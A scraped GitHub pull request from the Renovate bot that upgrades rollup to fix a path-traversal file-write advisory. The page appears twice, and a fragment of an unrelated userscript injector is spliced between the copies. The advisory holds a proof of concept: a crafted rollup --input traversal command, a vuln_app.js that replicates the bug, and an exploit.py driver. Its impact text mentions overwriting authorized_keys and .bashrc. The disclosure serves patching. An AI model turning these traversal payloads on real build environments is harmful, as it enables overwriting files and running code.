  • Arbitrary File Write: Attackers can overwrite sensitive files like ~/.ssh/authorized_keys, .bashrc, or system binaries if the build process has sufficient privileges.
  • Supply Chain Risk: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
  • User Impact: Developers running builds on untrusted repositories are at risk of system compromise.
Severity
  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
rollup/rollup (rollup)
v4.59.0
Compare Source
2026-02-22
Features
  • Throw when the generated bundle contains paths that would leave the output directory (#​6276)
Pull Requests
v4.58.0
Compare Source
2026-02-20
Features
  • Also support __NO_SIDE_EFFECTS__ annotation before variable declarations declaring function expressions (#​6272)
Pull Requests
v4.57.1
Compare Source
2026-01-30
Bug Fixes
  • Fix heap corruption issue in Windows (#​6251)
  • Ensure exports of a dynamic import are fully included when called from a try...catch (#​6254)
Pull Requests
v4.57.0
Compare Source
2026-01-27
Features
  • Add import attributes to all plugin hooks that did not provide them yet (#​5700)
  • Deprecate returning import attributes from load or transform hooks as that will no longer be supported with rollup 5 (#​5700)
Pull Requests
v4.56.0
Compare Source
2026-01-22
Features
  • Track object property inclusions of dynamic namespace members (#​6230)
Bug Fixes
  • Handle methods that access dynamically imported namespace members via this (#​6230)
Pull Requests
v4.55.3
Compare Source
2026-01-21
Bug Fixes
  • Fix JSX semicolon insert position in variable declarations (#​6241)
Pull Requests
v4.55.2
Compare Source
2026-01-19
Bug Fixes
  • Sort manual chunks by execution order to reduce circular dependency issues (#​6240)
Pull Requests
v4.55.1
Compare Source
2026-01-05
Bug Fixes
  • Fix artifact reference for OpenBSD (#​6231)
Pull Requests
v4.54.0
Compare Source
2025-12-20
Features
  • Enable tree-shaking for Symbol.hasInstance, Symbol.dispose and Symbol.asyncDispose properties if unused (#​6046)
Bug Fixes
  • Ensure that well-known-Symbol-valued properties are not tree-shaken except in select cases (#​6046)
  • Ensure namespace properties are included when referenced only from a try-catch (#​6216)
Pull Requests
v4.53.5
Compare Source
2025-12-16
Bug Fixes
  • Fix wrong semicolon insertion position when using JSX (#​6206)
  • Generate spec-compliant sourcemaps when sources content is excluded (#​6196)
Pull Requests
v4.53.4
Compare Source
2025-12-15
Bug Fixes
  • Ensure Symbol.dispose and Symbol.asyncDispose properties are never removed with (await) using declarations. (#​6209)
Pull Requests
v4.53.3
Compare Source
2025-11-19
Bug Fixes
  • Fix an error where too many modules where flagged for having an unused external import (#​6182)
  • Fix an error where an assignment was wrongly tree-shaken when mutating it (#​6183)
Pull Requests
v4.53.2
Compare Source
2025-11-10
Bug Fixes
  • Do not throw when using invalid escape sequences in template literals (#​6177)
Pull Requests
v4.53.1
Compare Source
2025-11-07
Bug Fixes
Pull Requests
v4.53.0
Compare Source
2025-11-07
Features
  • Improve rendering performance by caching generated variable names (#​5947)
Pull Requests
v4.52.5
Compare Source
2025-10-18
Bug Fixes
  • Always produce valid UUIDs as debugIds in sourcemaps (#​6144)
Pull Requests
v4.52.4
Compare Source
2025-10-03
Bug Fixes
  • Fix an issue where the wrong branch of nullish coalescing was picked (#​6133)
Pull Requests
v4.52.3
Compare Source
2025-09-27
Bug Fixes
  • Fix check in native loader for environments that do not support reports (#​6123)
Pull Requests
Configuration
📅 Schedule: (in timezone America/New_York)
  • Branch creation

    • At any time (no schedule defined)
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about these updates again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovate
renovateBot
requested a review
from a teamMarch 1, 2026 01:49
@renovaterenovateBot
added
the 
dependencies
Upgrade or downgrade of project dependencies.
label
Mar 1, 2026
@renovate
renovateBot
requested review from
a team and sullivanpj
as code ownersMarch 1, 2026 01:49
@renovate
renovateBot
enabled auto-merge (squash)
March 1, 2026 01:49
@deepsource-io
deepsource-ioBot
commented
Mar 1, 2026•

edited

Loading

Copy link


Copy Markdown

DeepSource Code Review
We reviewed changes in 242a5a8...b91b4eb on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.
See full review on DeepSource ↗
PR Report Card
Overall GradeSecurity

Reliability

Complexity

Hygiene
Code Review Summary
AnalyzerStatusUpdated (UTC)Details
JavaScriptMar 26, 2026 8:58p.m.Review ↗
ShellMar 26, 2026 8:58p.m.Review ↗
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
c971e0c to
fc22925CompareMarch 5, 2026 15:35
@socket-security
socket-securityBot
commented
Mar 5, 2026•

edited

Loading

Copy link


Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.
DiffPackageSupply Chain
Security		VulnerabilityQualityMaintenanceLicense
Added@​microsoft/​tsdoc@​0.16.0971009084100
Added@​rollup/​plugin-node-resolve@​16.0.19810010086100
Added@​microsoft/​tsdoc-config@​0.18.11001009688100
Updated@​microsoft/​api-extractor@​7.52.13 ⏵ 7.57.794-510089+196+5100
Added@​rollup/​plugin-commonjs@​28.0.69710010093100
View full report
@socket-security
socket-securityBot
commented
Mar 5, 2026•

edited

Loading

Copy link


Copy Markdown

Warning
Review the following alerts detected in dependencies.
According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.
ActionSeverityAlert (click "▶" to expand/collapse)
WarnHigh
Obfuscated code: npm vite is 91.0% likely obfuscated
Confidence: 0.91
Location:Package overview
From:pnpm-lock.yaml → npm/@nx/react@21.5.3 → npm/vite@7.1.5
ℹ Read more on: This package | This alert | What is obfuscated code?
Next steps: Take a moment to review the security alert above. Review
the linked package source code to understand the potential risk. Ensure the
package is not malicious before proceeding. If you're unsure how to proceed,
reach out to your security team or ask the Socket team for help at
support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.
Mark the package as acceptable risk. To ignore this alert only
in this pull request, reply with the comment
@SocketSecurity ignore npm/vite@7.1.5. You can
also ignore all packages with @SocketSecurity ignore-all.
To ignore an alert for all future pull requests, use Socket's Dashboard to
change the triage state of this alert.

View full report
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
fc22925 to
f8c8592CompareMarch 13, 2026 17:22
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
f8c8592 to
c80f927CompareMarch 26, 2026 17:24
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Mar 26, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
c80f927 to
b91b4ebCompareMarch 26, 2026 20:57
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Mar 26, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedMar 27, 2026
@renovaterenovateBot
closed this
Mar 27, 2026

auto-merge was automatically disabled
March 27, 2026 02:22
Pull request was closed
@renovate
renovateBot
deleted the

renovate/npm-rollup-vulnerability

branch
March 27, 2026 02:22
@storm-softwarestorm-software
locked and limited conversation to collaborators
Mar 28, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedchore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Mar 30, 2026
@renovaterenovateBot
reopened this
Mar 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
3 times, most recently
from
9086cc9 to
b704852CompareApril 1, 2026 17:03
@renovate
renovateBot
enabled auto-merge (squash)
April 1, 2026 17:03
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
b704852 to
59fd8faCompareApril 1, 2026 22:13
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
59fd8fa to
316d3caCompareApril 8, 2026 21:09
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 8, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
95559e9 to
15d4a3dCompareApril 23, 2026 11:54
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 23, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
15d4a3d to
662ce8aCompareApril 23, 2026 14:38
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 23, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedApr 27, 2026
@renovaterenovateBot
closed this
Apr 27, 2026

auto-merge was automatically disabled
April 27, 2026 17:55
Pull request was closed
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedchore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 27, 2026
@renovaterenovateBot
reopened this
Apr 27, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
3 times, most recently
from
2e48feb to
738b7d2CompareApril 29, 2026 09:44
@renovate
renovateBot
enabled auto-merge (squash)
April 29, 2026 09:44
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 29, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
738b7d2 to
85f4ec9CompareApril 29, 2026 19:47
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 29, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
85f4ec9 to
3b6d301CompareApril 30, 2026 13:34
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
3b6d301 to
017d3e9CompareApril 30, 2026 18:00
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
017d3e9 to
cca5542CompareMay 12, 2026 10:20
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]May 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
cca5542 to
c6bf339CompareMay 12, 2026 16:14
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]May 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
c6bf339 to
bd59b6bCompareMay 14, 2026 17:52
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]May 14, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
bd59b6b to
145bfdcCompareMay 14, 2026 20:51
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]May 14, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
145bfdc to
da0879fCompareMay 18, 2026 12:42
Sign up for freeto subscribe to this conversation on GitHub.
Already have an account?
Sign in.


Reviewers

@sullivanpjsullivanpjAwaiting requested review from sullivanpjsullivanpj is a code owner

At least 1 approving review is required to merge this pull request.


Assignees


No one assigned


Labels

dependenciesUpgrade or downgrade of project dependencies.

Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

0 participants


, 'i');
if (__m === '*' || __re.test(location.href)) {
injectUserscript("// Strip utm_, fbclid, gclid, etc. from all links on page\n(function() {\n var trackingParams = ['utm_source', 'utm_medium', 'utm_campaign', 'utm_term', 'utm_content',\n 'fbclid', 'gclid', 'dclid', 'msclkid', 'yclid',\n 'ref', 'ref_src', 'source', 'medium', 'campaign'];\n \n function cleanUrl(url) {\n try {\n var u = new URL(url, window.location.origin);\n var changed = false;\n trackingParams.forEach(function(p) {\n if (u.searchParams.has(p)) {\n u.searchParams.delete(p);\n changed = true;\n }\n });\n return changed ? u.toString() : url;\n } catch (e) {\n return url;\n }\n }\n \n function cleanLinks() {\n document.querySelectorAll('a[href]').forEach(function(a) {\n var clean = cleanUrl(a.href);\n if (clean !== a.href) a.href = clean;\n });\n }\n \n cleanLinks();\n \n var observer = new MutationObserver(function(mutations) {\n mutations.forEach(function(m) {\n m.addedNodes.forEach(function(node) {\n if (node.nodeType === 1) {\n if (node.tagName === 'A') cleanLinks();\n node.querySelectorAll('a[href]').forEach(function(a) {\n var clean = cleanUrl(a.href);\n if (clean !== a.href) a.href = clean;\n });\n }\n });\n });\n });\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Remove Tracking Parameters from Links");
}
} catch(__e) { console.warn('[Userscript:Remove Tracking Parameters from Links]', __e); }
})();
(function(){
try {
var __m = "youtube.com";
var __re = new RegExp('^' + "youtube\\.com" + '

Skip to content
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - #211
Open
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-rollup-vulnerability
Open
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]#211
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-rollup-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Mar 1, 2026•

edited

Loading

Copy link


Copy Markdown

Contributor
This PR contains the following updates:
PackageChangeAgeConfidence
rollup (source)4.52.2 → 4.59.0ageconfidence
rollup (source)^4.52.3 → ^4.59.0ageconfidence
Rollup 4 has Arbitrary File Write via Path Traversal
CVE-2026-27606 / GHSA-mw96-cpmx-2vgc
More information
Details
Summary
The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.
Details
The vulnerability is caused by the combination of two flawed components in the Rollup core:
  1. Improper Sanitization: In src/utils/sanitizeFileName.ts, the INVALID_CHAR_REGEX used to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/, \).
    // src/utils/sanitizeFileName.ts (Line 3)constINVALID_CHAR_REGEX=/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g;
    This allows path traversal sequences like ../../ to pass through the sanitizer unmodified.
  2. Unsafe Path Resolution: In src/rollup/rollup.ts, the writeOutputFile function uses path.resolve to combine the output directory with the "sanitized" filename.
    // src/rollup/rollup.ts (Line 317)constfileName=resolve(outputOptions.dir||dirname(outputOptions.file!),outputFile.fileName);
    Because path.resolve follows the ../ sequences in outputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call to fs.writeFile completes the arbitrary write.
PoC
A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.
Scenario: CLI Named Input Exploit
  1. Target a sensitive file location (for demonstration, we will use a file in the project root called pwned.js).
  2. Execute Rollup with a specifically crafted named input where the key contains traversal characters:

    rollup --input "a/../../pwned.js=main.js" --dir dist
  3. Result: Rollup will resolve the output path for the entry chunk as dist + a/../../pwned.js, which resolves to the project root. The file pwned.js is created/overwritten outside the dist folder.
Reproduction Files provided :
  • vuln_app.js: Isolated logic exactly replicating the sanitization and resolution bug.
  • exploit.py: Automated script to run the PoC and verify the file escape.
vuln_app.js
constpath=require('path');constfs=require('fs');/** * REPLICATED ROLLUP VULNERABILITY *  * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts) * 2. Unsafe Path Resolution (from src/rollup/rollup.ts) */functionsanitize(name){// The vulnerability: Rollup's regex fails to strip dots and slashes, // allowing path traversal sequences like '../'returnname.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g,'_');}asyncfunctionbuild(userSuppliedName){constoutputDir=path.join(__dirname,'dist');constfileName=sanitize(userSuppliedName);// Vulnerability: path.resolve() follows traversal sequences in the filenameconstoutputPath=path.resolve(outputDir,fileName);console.log(`[*] Target write path: ${outputPath}`);if(!fs.existsSync(path.dirname(outputPath))){fs.mkdirSync(path.dirname(outputPath),{recursive: true});}fs.writeFileSync(outputPath,'console.log("System Compromised!");');console.log(`[+] File written successfully.`);}build(process.argv[2]||'bundle.js');
exploit.py
importsubprocessfrompathlibimportPathdefrun_poc():
# Target a file outside the 'dist' folderpoc_dir=Path(__file__).parentmalicious_filename="../pwned_by_rollup.js"target_path=poc_dir/"pwned_by_rollup.js"print(f"=== Rollup Path Traversal PoC ===")
print(f"[*] Malicious Filename: {malicious_filename}")
# Trigger the vulnerable appsubprocess.run(["node", "poc/vuln_app.js", malicious_filename])
iftarget_path.exists():
print(f"[SUCCESS] File escaped 'dist' folder!")
print(f"[SUCCESS] Created: {target_path}")
# target_path.unlink() # Cleanupelse:
print("[FAILED] Exploit did not work.")
if__name__=="__main__":
run_poc()
POC
rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist
image
Impact
This is a High level of severity vulnerability.
  • Arbitrary File Write: Attackers can overwrite sensitive files like ~/.ssh/authorized_keys, .bashrc, or system binaries if the build process has sufficient privileges.
  • Supply Chain Risk: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
  • User Impact: Developers running builds on untrusted repositories are at risk of system compromise.
Severity
  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
rollup/rollup (rollup)
v4.59.0
Compare Source
2026-02-22
Features
  • Throw when the generated bundle contains paths that would leave the output directory (#​6276)
Pull Requests
v4.58.0
Compare Source
2026-02-20
Features
  • Also support __NO_SIDE_EFFECTS__ annotation before variable declarations declaring function expressions (#​6272)
Pull Requests
v4.57.1
Compare Source
2026-01-30
Bug Fixes
  • Fix heap corruption issue in Windows (#​6251)
  • Ensure exports of a dynamic import are fully included when called from a try...catch (#​6254)
Pull Requests
v4.57.0
Compare Source
2026-01-27
Features
  • Add import attributes to all plugin hooks that did not provide them yet (#​5700)
  • Deprecate returning import attributes from load or transform hooks as that will no longer be supported with rollup 5 (#​5700)
Pull Requests
v4.56.0
Compare Source
2026-01-22
Features
  • Track object property inclusions of dynamic namespace members (#​6230)
Bug Fixes
  • Handle methods that access dynamically imported namespace members via this (#​6230)
Pull Requests
v4.55.3
Compare Source
2026-01-21
Bug Fixes
  • Fix JSX semicolon insert position in variable declarations (#​6241)
Pull Requests
v4.55.2
Compare Source
2026-01-19
Bug Fixes
  • Sort manual chunks by execution order to reduce circular dependency issues (#​6240)
Pull Requests
v4.55.1
Compare Source
2026-01-05
Bug Fixes
  • Fix artifact reference for OpenBSD (#​6231)
Pull Requests
v4.54.0
Compare Source
2025-12-20
Features
  • Enable tree-shaking for Symbol.hasInstance, Symbol.dispose and Symbol.asyncDispose properties if unused (#​6046)
Bug Fixes
  • Ensure that well-known-Symbol-valued properties are not tree-shaken except in select cases (#​6046)
  • Ensure namespace properties are included when referenced only from a try-catch (#​6216)
Pull Requests
v4.53.5
Compare Source
2025-12-16
Bug Fixes
  • Fix wrong semicolon insertion position when using JSX (#​6206)
  • Generate spec-compliant sourcemaps when sources content is excluded (#​6196)
Pull Requests
v4.53.4
Compare Source
2025-12-15
Bug Fixes
  • Ensure Symbol.dispose and Symbol.asyncDispose properties are never removed with (await) using declarations. (#​6209)
Pull Requests
v4.53.3
Compare Source
2025-11-19
Bug Fixes
  • Fix an error where too many modules where flagged for having an unused external import (#​6182)
  • Fix an error where an assignment was wrongly tree-shaken when mutating it (#​6183)
Pull Requests
v4.53.2
Compare Source
2025-11-10
Bug Fixes
  • Do not throw when using invalid escape sequences in template literals (#​6177)
Pull Requests
v4.53.1
Compare Source
2025-11-07
Bug Fixes
Pull Requests
v4.53.0
Compare Source
2025-11-07
Features
  • Improve rendering performance by caching generated variable names (#​5947)
Pull Requests
v4.52.5
Compare Source
2025-10-18
Bug Fixes
  • Always produce valid UUIDs as debugIds in sourcemaps (#​6144)
Pull Requests
v4.52.4
Compare Source
2025-10-03
Bug Fixes
  • Fix an issue where the wrong branch of nullish coalescing was picked (#​6133)
Pull Requests
v4.52.3
Compare Source
2025-09-27
Bug Fixes
  • Fix check in native loader for environments that do not support reports (#​6123)
Pull Requests
Configuration
📅 Schedule: (in timezone America/New_York)
  • Branch creation

    • At any time (no schedule defined)
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about these updates again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovate
renovateBot
requested a review
from a teamMarch 1, 2026 01:49
@renovaterenovateBot
added
the 
dependencies
Upgrade or downgrade of project dependencies.
label
Mar 1, 2026
@renovate
renovateBot
requested review from
a team and sullivanpj
as code ownersMarch 1, 2026 01:49
@renovate
renovateBot
enabled auto-merge (squash)
March 1, 2026 01:49
@deepsource-io
deepsource-ioBot
commented
Mar 1, 2026•

edited

Loading

Copy link


Copy Markdown

DeepSource Code Review
We reviewed changes in 242a5a8...b91b4eb on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.
See full review on DeepSource ↗
PR Report Card
Overall GradeSecurity

Reliability

Complexity

Hygiene
Code Review Summary
AnalyzerStatusUpdated (UTC)Details
JavaScriptMar 26, 2026 8:58p.m.Review ↗
ShellMar 26, 2026 8:58p.m.Review ↗
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
c971e0c to
fc22925CompareMarch 5, 2026 15:35
@socket-security
socket-securityBot
commented
Mar 5, 2026•

edited

Loading

Copy link


Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.
DiffPackageSupply Chain
Security		VulnerabilityQualityMaintenanceLicense
Added@​microsoft/​tsdoc@​0.16.0971009084100
Added@​rollup/​plugin-node-resolve@​16.0.19810010086100
Added@​microsoft/​tsdoc-config@​0.18.11001009688100
Updated@​microsoft/​api-extractor@​7.52.13 ⏵ 7.57.794-510089+196+5100
Added@​rollup/​plugin-commonjs@​28.0.69710010093100
View full report
@socket-security
socket-securityBot
commented
Mar 5, 2026•

edited

Loading

Copy link


Copy Markdown

Warning
Review the following alerts detected in dependencies.
According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.
ActionSeverityAlert (click "▶" to expand/collapse)
WarnHigh
Obfuscated code: npm vite is 91.0% likely obfuscated
Confidence: 0.91
Location:Package overview
From:pnpm-lock.yaml → npm/@nx/react@21.5.3 → npm/vite@7.1.5
ℹ Read more on: This package | This alert | What is obfuscated code?
Next steps: Take a moment to review the security alert above. Review
the linked package source code to understand the potential risk. Ensure the
package is not malicious before proceeding. If you're unsure how to proceed,
reach out to your security team or ask the Socket team for help at
support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.
Mark the package as acceptable risk. To ignore this alert only
in this pull request, reply with the comment
@SocketSecurity ignore npm/vite@7.1.5. You can
also ignore all packages with @SocketSecurity ignore-all.
To ignore an alert for all future pull requests, use Socket's Dashboard to
change the triage state of this alert.

View full report
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
fc22925 to
f8c8592CompareMarch 13, 2026 17:22
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
f8c8592 to
c80f927CompareMarch 26, 2026 17:24
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Mar 26, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
c80f927 to
b91b4ebCompareMarch 26, 2026 20:57
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Mar 26, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedMar 27, 2026
@renovaterenovateBot
closed this
Mar 27, 2026

auto-merge was automatically disabled
March 27, 2026 02:22
Pull request was closed
@renovate
renovateBot
deleted the

renovate/npm-rollup-vulnerability

branch
March 27, 2026 02:22
@storm-softwarestorm-software
locked and limited conversation to collaborators
Mar 28, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedchore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Mar 30, 2026
@renovaterenovateBot
reopened this
Mar 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
3 times, most recently
from
9086cc9 to
b704852CompareApril 1, 2026 17:03
@renovate
renovateBot
enabled auto-merge (squash)
April 1, 2026 17:03
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
b704852 to
59fd8faCompareApril 1, 2026 22:13
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
59fd8fa to
316d3caCompareApril 8, 2026 21:09
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 8, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
95559e9 to
15d4a3dCompareApril 23, 2026 11:54
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 23, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
15d4a3d to
662ce8aCompareApril 23, 2026 14:38
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 23, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedApr 27, 2026
@renovaterenovateBot
closed this
Apr 27, 2026

auto-merge was automatically disabled
April 27, 2026 17:55
Pull request was closed
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedchore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 27, 2026
@renovaterenovateBot
reopened this
Apr 27, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
3 times, most recently
from
2e48feb to
738b7d2CompareApril 29, 2026 09:44
@renovate
renovateBot
enabled auto-merge (squash)
April 29, 2026 09:44
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 29, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
738b7d2 to
85f4ec9CompareApril 29, 2026 19:47
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 29, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
85f4ec9 to
3b6d301CompareApril 30, 2026 13:34
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
3b6d301 to
017d3e9CompareApril 30, 2026 18:00
@renovaterenovateBot
changed the title
